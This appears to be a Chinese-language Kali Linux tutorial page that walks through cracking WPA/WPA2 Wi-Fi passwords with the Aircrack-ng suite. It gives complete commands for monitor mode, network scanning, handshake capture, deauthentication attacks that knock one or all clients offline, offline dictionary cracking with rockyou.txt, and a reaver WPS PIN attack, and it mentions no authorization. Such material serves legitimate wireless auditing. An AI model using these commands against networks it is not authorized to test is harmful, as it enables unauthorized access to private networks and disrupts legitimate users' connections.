kali linux 中文文档 下载 App

Aircrack-ng 无线安全测试完整指南

Aircrack-ng 是什么

Aircrack-ng 是一个开源的 Wi-Fi 安全审计工具集,覆盖 WEP、WPA/WPA2 加密网络的攻击面。注意:Aircrack-ng 本身不会攻击加密算法——它的工作流程是先获取加密的握手包,然后通过字典暴力破解或 WPS PIN 漏洞来获取密钥。

工具套件组成

工具功能
airmon-ng将无线网卡切换到 monitor 模式
airodump-ng监听空中的 Wi-Fi 信号,列出附近的 AP 和客户端
aireplay-ng对 AP 发送去认证包,强迫合法客户端重连(从而捕获握手包)
aircrack-ng离线暴力破解 WPA/WPA2 握手包(CPU 版)
airdecap-ng用已知密钥解密抓包文件中的流量
wifite以上工具的自动化封装,一键跑完整流程

典型攻击流程:破解 WPA2 密码

第一步:确认无线网卡支持 monitor mode

# 查看网卡
iwconfig

# 检查是否支持 monitor 模式
airmon-ng check kill   # 先杀掉可能干扰的网络管理器进程

第二步:切换到 monitor 模式

airmon-ng start wlan0

成功后会创建一个新的监控接口(通常叫 wlan0mon),iwconfig 可以看到它的 Mode 变成 Monitor。

第三步:扫描附近 Wi-Fi

airodump-ng wlan0mon

屏幕上会显示所有附近的 AP(BSSID、频道、信号强度、加密方式)和关联的客户端(Station)。记下目标 AP 的 BSSID 和频道号。

第四步:监听目标频道并抓握手包

airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

关键:要等合法客户端出现在 Station 列表里。没有客户端就无法触发握手(握手只在客户端和 AP 认证时发生)。

第五步:发送去认证攻击(加速握手捕获)

另开一个终端:

# 强制指定客户端下线(推荐,只影响一台设备)
aireplay-ng -0 1 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon

# 或者广播去认证,踢掉所有客户端
aireplay-ng -0 0 -a AA:BB:CC:DD:EE:FF wlan0mon

去认证后,合法客户端会自动重连 AP,重连瞬间 airodump-ng 就会捕获到 WPA2 握手包(Handshake 字样出现在右上角)。

第六步:离线破解

aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap

-w 指定字典文件。成功破解会显示 WPA key。

硬件要求

常见问题

问题原因解决
airmon-ng start 后网卡消失NetworkManager 干扰airmon-ng check kill
airodump-ng 抓不到任何包虚拟网卡不支持 monitor mode必须用 USB 直通的物理网卡
aireplay-ng 显示 injection failed网卡不支持注入换支持的芯片
握手包捕获失败没有合法客户端在线等客户端出现或换攻击方式(WPS 攻击)

WPS 攻击(更快的替代方案)

WPS(Wi-Fi Protected Setup)使用 8 位 PIN 码,存在设计缺陷:

reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv

但现代路由器大多已禁用 WPS,这种方法的实用性在下降。